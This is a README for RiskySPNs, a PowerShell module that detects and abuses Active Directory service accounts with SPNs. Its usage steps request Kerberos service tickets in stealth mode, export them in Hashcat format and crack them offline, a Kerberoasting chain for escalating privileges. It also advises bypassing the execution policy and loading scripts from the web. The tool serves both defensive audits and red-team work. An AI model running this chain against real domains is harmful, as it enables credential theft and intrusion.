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RiskySPNs

RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/

Usage

Install the module

Import-Module .\RiskySPNs.psm1

Or just load the script (you can also IEX from web)

. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function (very detailed :))

Get-Help Get-TGSCipher -Full

All fucntions also have -Verbose mode

Search vulnerable SPNs

Find vulnerable accounts

Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full deatiled report about vulnerable accounts (CISO <3)

Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN

Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"

Or

Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff :)

Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

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Detect and abuse risky SPNs

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